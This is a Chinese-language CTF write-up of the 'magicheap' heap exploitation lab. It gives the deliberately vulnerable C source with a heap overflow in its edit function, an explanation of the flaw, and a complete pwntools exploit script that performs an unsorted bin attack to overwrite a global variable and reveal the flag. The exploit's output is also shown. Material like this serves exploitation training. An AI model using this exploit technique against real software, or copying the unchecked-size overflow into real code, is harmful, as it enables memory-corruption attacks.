题目地址:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unsorted_bin_attack/hitcontraining_lab14。
考察漏洞:Unsorted Bin Attack。
源程序下载:http://file.eonew.cn/elf/magicheap
目录
源码:magicheap.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void read_input(char *buf, size_t size)
{
int ret;
ret = read(0, buf, size);
if (ret <= 0)
{
puts("Error");
_exit(-1);
}
}
char *heaparray[10];
unsigned long int magic = 0;
void menu()
{
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
void create_heap()
{
int i;
char buf[8];
size_t size = 0;
for (i = 0; i < 10; i++)
{
if (!heaparray[i])
{
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
heaparray[i] = (char *)malloc(size);
if (!heaparray[i])
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
break;
}
}
}
void edit_heap()
{
int idx;
char buf[4];
size_t size;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10)
{
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx])
{
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx], size);
puts("Done !");
}
else
{
puts("No such heap !");
}
}
void delete_heap()
{
int idx;
char buf[4];
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10)
{
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx])
{
free(heaparray[idx]);
heaparray[idx] = NULL;
puts("Done !");
}
else
{
puts("No such heap !");
}
}
void l33t() { system("cat ./flag"); }
int main()
{
char buf[8];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while (1)
{
menu();
read(0, buf, 8);
switch (atoi(buf))
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
delete_heap();
break;
case 4:
exit(0);
break;
case 4869:
if (magic > 4869)
{
puts("Congrt !");
l33t();
}
else
puts("So sad !");
break;
default:
puts("Invalid Choice");
break;
}
}
return 0;
}
程序简介
安全防护
ex@ubuntu:~/test$ checksec magicheap
[*] '/home/ex/test/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
主要功能
void menu()
{
puts("--------------------------------");
puts(" Magic Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
全局变量
char *heaparray[10];
unsigned long int magic = 0;
create_heap
void create_heap()
{
int i;
char buf[8];
size_t size = 0;
for (i = 0; i < 10; i++)
{
if (!heaparray[i])
{
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
heaparray[i] = (char *)malloc(size);
if (!heaparray[i])
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
break;
}
}
}
根据用户输入的size来申请heap并写入内容,写入的时候有溢出保护。heap被放在全局变量heaparray上。
edit_heap
void edit_heap()
{
int idx;
char buf[4];
size_t size;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10)
{
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx])
{
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx], size);
puts("Done !");
}
else
{
puts("No such heap !");
}
}
这里根据用户的的输入确定要编辑全局变量heaparray的索引并进行编辑,编辑的大小由用户的输入而定。
delete_heap
void delete_heap()
{
int idx;
char buf[4];
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= 10)
{
puts("Out of bound!");
_exit(0);
}
if (heaparray[idx])
{
free(heaparray[idx]);
heaparray[idx] = NULL;
puts("Done !");
}
else
{
puts("No such heap !");
}
}
根据用户的的输入确定要free的全局变量heaparray的索引,free之后地址被设置为NULL,预防了UAF漏洞。
后门函数
case 4869:
if (magic > 4869)
{
puts("Congrt !");
l33t();
}
void l33t()
{
system("cat ./flag");
}
只要将全局变量修改为大于4869的值时,即可以获得flag。
漏洞在哪里呢?
程序有UAF防护,但是在eidt部分却有heap overflow,我们可以通过heap overflow来间接实现Unsorted Bin Attack。
思路
直接heap overflow即可。申请两块chunk,不能是fastbin(小于160),然后free
掉后面一块chunk,用前面的chunk的溢出修改该后面chunk的bk值。
脚本
由于比较简单,所以直接贴脚本上来。这里就简单说一下我犯的一个小错误,在申请两个chunk时,忘记再申请一个chunk防止第二个chunk和top chunk合并。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
sh = process('./magicheap')
elf = ELF('./magicheap')
#context.log_level = "debug"
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
def create_heap(size, content):
sh.sendline(str(1))
sh.recvuntil('Size of Heap : ')
sh.sendline(str(size))
sh.recvuntil('Content of heap:')
sh.sendline(content)
sh.recvuntil('Your choice :')
def edit_heap(index, size, name):
sh.sendline(str(2))
sh.recvuntil('Index :')
sh.sendline(str(index))
sh.recvuntil('Size of Heap : ')
sh.sendline(str(size))
sh.recvuntil('Content of heap : ')
sh.sendline(name)
sh.recvuntil('Your choice :')
def delete_heap(index):
sh.sendline(str(3))
sh.recvuntil('Index :')
sh.sendline(str(index))
sh.recvuntil('Your choice :')
magic_addr = 0x6020c0
# 清除流
sh.recvuntil('Your choice :')
# 注意这里不能太小,否则申请的是fastbin
create_heap(0x108, '') # 申请的这个chunk的size为 0x110
create_heap(0x108, '') # 申请的这个chunk的size为 0x110
create_heap(24, '') # 防止和top chunk合并
delete_heap(1) # 删除后面一块chunk
layout = [
'a'*0x100, # 偏移
p64(0), # 第二块chunk->prev_size
p64(0x110 + 1), # 第二块chunk->size
p64(0), # 第二块chunk->fd
p64(magic_addr - 8*2) # 第二块chunk->bk
]
# 构造 Unsorted Bin Attack 漏洞
edit_heap(0, len(flat(layout)), flat(layout))
# 触发 Unsorted Bin Attack漏洞
create_heap(0x108, '')
# get flag
sh.sendline('4869')
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
执行结果:
ex@ubuntu:~/test$ echo flag{123456} > flag
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './magicheap': pid 4718
[*] '/home/ex/test/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
Congrt !
flag{123456}
--------------------------------
Magic Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :$
总结
虽然Unsorted Bin Attack
的用处不大,但是一个系统的攻破往往不是通过某单一漏洞而实现的,而是由于那些不起眼的漏洞组合起来,然后便成就了0day。